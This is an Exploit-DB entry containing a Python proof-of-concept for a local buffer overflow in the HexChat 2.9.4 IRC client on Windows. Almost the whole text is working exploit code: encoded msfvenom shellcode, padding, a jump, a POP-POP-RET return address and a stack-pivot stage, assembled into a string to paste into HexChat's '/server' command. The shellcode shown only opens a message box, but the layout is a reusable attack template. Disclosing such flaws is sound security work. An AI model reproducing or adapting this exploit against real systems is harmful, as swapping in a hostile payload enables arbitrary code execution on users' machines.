Exploit-DB #24919
Description: HexChat 2.9.4 - Local Overflow
Type: local
Platform: windows
Date: 2013-04-07
Author: Matt Andreko

Exploit:
#!/usr/bin/python
# HexChat 2.9.4 Local Exploit
# Bug found by Jules Carter < @iMulitia >
# Exploit by Matt "hostess" Andreko < mandreko [at] accuvant.com >
# http://www.mattandreko.com/2013/04/buffer-overflow-in-hexchat-294.html
junk1 = "B"*30
shellcode = (
# msfvenom -p windows/messagebox EXITFUNC=process BufferRegister=ESP -e x86/alpha_mixed -f c
"\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b"
"\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58"
"\x50\x38\x41\x42\x75\x4a\x49\x78\x59\x68\x6b\x6d\x4b\x4b\x69"
"\x44\x34\x64\x64\x59\x64\x74\x71\x78\x52\x6c\x72\x33\x47\x34"
"\x71\x78\x49\x42\x44\x4e\x6b\x50\x71\x50\x30\x4e\x6b\x64\x36"
"\x54\x4c\x4c\x4b\x44\x36\x77\x6c\x4c\x4b\x33\x76\x77\x78\x4c"
"\x4b\x73\x4e\x51\x30\x4e\x6b\x75\x66\x56\x58\x72\x6f\x72\x38"
"\x51\x65\x68\x73\x43\x69\x37\x71\x38\x51\x39\x6f\x58\x61\x73"
"\x50\x4e\x6b\x30\x6c\x36\x44\x77\x54\x6c\x4b\x42\x65\x75\x6c"
"\x6e\x6b\x73\x64\x36\x48\x31\x68\x46\x61\x6a\x4a\x4e\x6b\x52"
"\x6a\x66\x78\x6e\x6b\x73\x6a\x57\x50\x43\x31\x7a\x4b\x6d\x33"
"\x34\x74\x42\x69\x6c\x4b\x47\x44\x4c\x4b\x67\x71\x48\x6e\x74"
"\x71\x6b\x4f\x36\x51\x79\x50\x6b\x4c\x4e\x4c\x4c\x44\x39\x50"
"\x34\x34\x75\x57\x49\x51\x4a\x6f\x36\x6d\x67\x71\x4a\x67\x5a"
"\x4b\x5a\x54\x67\x4b\x71\x6c\x61\x34\x34\x68\x32\x55\x6d\x31"
"\x6e\x6b\x33\x6a\x47\x54\x76\x61\x38\x6b\x71\x76\x4c\x4b\x64"
"\x4c\x52\x6b\x4e\x6b\x71\x4a\x67\x6c\x67\x71\x4a\x4b\x4e\x6b"
"\x74\x44\x4c\x4b\x76\x61\x69\x78\x4e\x69\x62\x64\x66\x44\x47"
"\x6c\x63\x51\x5a\x63\x6e\x52\x33\x38\x61\x39\x69\x44\x6b\x39"
"\x59\x75\x6c\x49\x58\x42\x73\x58\x4e\x6e\x72\x6e\x56\x6e\x58"
"\x6c\x62\x72\x4d\x38\x4f\x6f\x6b\x4f\x69\x6f\x69\x6f\x4f\x79"
"\x61\x55\x75\x54\x6d\x6b\x31\x6e\x4e\x38\x79\x72\x70\x73\x6f"
"\x77\x45\x4c\x45\x74\x70\x52\x39\x78\x6c\x4e\x4b\x4f\x49\x6f"
"\x59\x6f\x6f\x79\x43\x75\x55\x58\x73\x58\x62\x4c\x70\x6c\x51"
"\x30\x77\x31\x53\x58\x67\x43\x54\x72\x66\x4e\x61\x74\x71\x78"
"\x52\x55\x44\x33\x62\x45\x61\x62\x6d\x58\x51\x4c\x75\x74\x57"
"\x7a\x4c\x49\x58\x66\x73\x66\x6b\x4f\x30\x55\x47\x74\x6b\x39"
"\x4f\x32\x72\x70\x4d\x6b\x39\x38\x6d\x72\x72\x6d\x4f\x4c\x4b"
"\x37\x35\x4c\x67\x54\x30\x52\x5a\x48\x75\x31\x39\x6f\x6b\x4f"
"\x39\x6f\x33\x58\x42\x4f\x34\x38\x53\x68\x31\x30\x72\x48\x35"
"\x31\x73\x57\x61\x75\x62\x62\x35\x38\x72\x6d\x72\x45\x54\x33"
"\x62\x53\x54\x71\x69\x4b\x6f\x78\x33\x6c\x75\x74\x54\x4a\x6f"
"\x79\x78\x63\x61\x78\x72\x78\x45\x70\x77\x50\x75\x70\x70\x68"
"\x72\x6d\x50\x53\x37\x36\x77\x51\x70\x68\x43\x42\x30\x6f\x42"
"\x4d\x71\x30\x35\x38\x52\x4f\x66\x4c\x31\x30\x61\x76\x61\x78"
"\x71\x58\x50\x65\x42\x4c\x32\x4c\x55\x61\x5a\x69\x6e\x68\x72"
"\x6c\x61\x34\x44\x50\x4f\x79\x4d\x31\x56\x51\x4b\x62\x33\x62"
"\x61\x43\x46\x31\x52\x72\x39\x6f\x58\x50\x46\x51\x49\x50\x42"
"\x70\x69\x6f\x36\x35\x34\x48\x41\x41"
)
junk2 = "A"*(13306-len(shellcode))
stage1 = "\x4c\x4c\x77\x21" # 21 byte jump (JA)
ret = "\x63\x64\x62\x68" # ASCII PPR
junk3 = "C"*29
stage2 = "\x61"*38 # POPAD x 38
stage2 += "\x54" # PUSH ESP
stage2 += "\xE9" # RETN # This byte is a bad char, but gets converted to RETN and \x88
junk4 = "D"*11586

print "Copy this text, and enter into HexChat's textbox: \"/server [string]\"" 
print junk1 + shellcode + junk2 + stage1 + ret + junk3 + stage2 + junk4